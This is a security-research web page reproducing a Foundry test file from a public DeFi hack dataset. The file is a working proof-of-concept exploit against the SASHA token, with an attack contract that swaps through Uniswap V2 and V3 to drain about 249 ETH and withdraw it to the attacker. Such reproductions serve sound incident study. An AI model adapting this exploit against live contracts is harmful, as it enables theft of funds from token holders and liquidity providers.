Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/SASHAToken_exp.sol

Public reproduction file for dataset entry SASHAToken.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/SASHAToken_exp.sol133 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~249 ETH (~$600K USD)
8// Attacker : 0x493c5655D40B051a64bc88A6af21D73d3A9B72A2 (Shezmu Attacker 3)
9// Attack Contract : https://etherscan.io/address/0x991493900674b10bdf54bdfe95b4e043257798cf
10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd9fdc7d03eec28fc2453c5fa68eff82d4c297f436a6a5470c54ca3aecd2db17e
12// @Analysis
15// Contracts involved
16address constant SASHA = 0xD1456D1b9CEb59abD4423a49D40942a9485CeEF6;
17address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
18address constant UniswapV2_Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
19address constant UniswapV3_Router2 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
20address constant UniswapV2_SASHA21 = 0xB23FC1241e1Bc1a5542a438775809d38099838fe;
22contract SASHAToken_exp is Test {
23 address attacker = 0x81F48A87Ec44208c691f870b9d400D9c13111e2E;
25 function setUp() public {
26 vm.createSelectFork("mainnet", 20_905_302 - 1);
28 vm.label(SASHA, "SASHA");
29 vm.label(weth, "WETH");
30 vm.label(UniswapV2_Router2, "Uniswap V2: Router 2");
31 vm.label(UniswapV3_Router2, "Uniswap V3: Router 2");
32 vm.label(UniswapV2_SASHA21, "Uniswap V2: SASHA 21");
34 vm.label(attacker, "Attacker");
36 vm.deal(attacker, 1 ether);
37 }
39 function testExploit() public {
40 vm.startPrank(attacker);
42 SASHAToken_AttackContract attackC = new SASHAToken_AttackContract();
43 payable(address(attackC)).transfer(0.08 ether);
45 attackC.attack();
47 // Simulate withdraw
48 attackC.withdraw();
50 vm.stopPrank();
52 console.log("balance: ", attacker.balance - 1 ether);
53 }
55 fallback() external payable {}
58contract SASHAToken_AttackContract {
59 address payable public attacker;
61 constructor() public {
62 attacker = payable(msg.sender);
63 }
65 function attack() public {
66 // Approve
67 IWETH(payable(weth)).approve(UniswapV2_Router2, type(uint256).max);
68 IERC20(SASHA).approve(UniswapV2_Router2, type(uint256).max);
69 IERC20(SASHA).approve(UniswapV3_Router2, type(uint256).max);
71 // Deposit
72 IWETH(payable(weth)).deposit{value: 0.07 ether}();
74 // Swap
75 address[] memory path = new address[](2);
76 path[0] = weth;
77 path[1] = SASHA;
78 Uni_Router_V2(UniswapV2_Router2).swapExactTokensForTokensSupportingFeeOnTransferTokens(
79 70_000_000_000_000_000, // amountIn
80 1, // amountOutMin
81 path, // path
82 address(this), // to
83 4_324_324_234_244 // deadline
84 );
86 // console.log("SASHA balance: ", IERC20(SASHA).balanceOf(address(this)));
88 IERC20(SASHA).transfer(UniswapV2_SASHA21, 1_000_000_000_000_000_000);
90 UniswapV3Router.ExactInputSingleParams memory params = UniswapV3Router.ExactInputSingleParams({
91 tokenIn: SASHA,
92 tokenOut: weth,
93 fee: 10_000,
94 recipient: address(this),
95 amountIn: 99_000_000_000_000_000_000_000,
96 amountOutMinimum: 0,
97 sqrtPriceLimitX96: 0
98 });
100 UniswapV3Router(UniswapV3_Router2).exactInputSingle(params);
102 IWETH(payable(weth)).withdraw(249_276_511_929_373_786_924);
104 // console.log("balance: ", address(this).balance);
105 }
107 fallback() external payable {
108 // payable(attacker).transfer(address(this).balance);
109 }
111 function withdraw() public payable {
112 require(msg.sender == attacker, "Not the contract owner");
114 attacker.transfer(address(this).balance);
115 }
118interface UniswapV3Router is IERC20 {
119 // Uniswap V3: SwapRouter
120 struct ExactInputSingleParams {
121 address tokenIn;
122 address tokenOut;
123 uint24 fee;
124 address recipient;
125 uint256 amountIn;
126 uint256 amountOutMinimum;
127 uint160 sqrtPriceLimitX96;
128 }
130 function exactInputSingle(
131 ExactInputSingleParams calldata params
132 ) external payable returns (uint256 amountOut);

Analysis

Dataset entry

Public Foundry test for “SASHAToken” (2024-10-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x493c5655d40b051a64bc88a6af21d73d3a9b72a2

  • Attack Contract

    0x991493900674b10bdf54bdfe95b4e043257798cf

  • Attack Tx

    0xd9fdc7d03eec28fc2453c5fa68eff82d4c297f436a6a5470c54ca3aecd2db17e

File record

Name
SASHAToken
Path
src/test/2024-10/SASHAToken_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8320d2d072d09b84e79fe4f04f060be7fb207fba
Language
Solidity
Size
134 lines
Date
2024-10-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/SASHAToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8320d2d072d09b84e79fe4f04f060be7fb207fba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.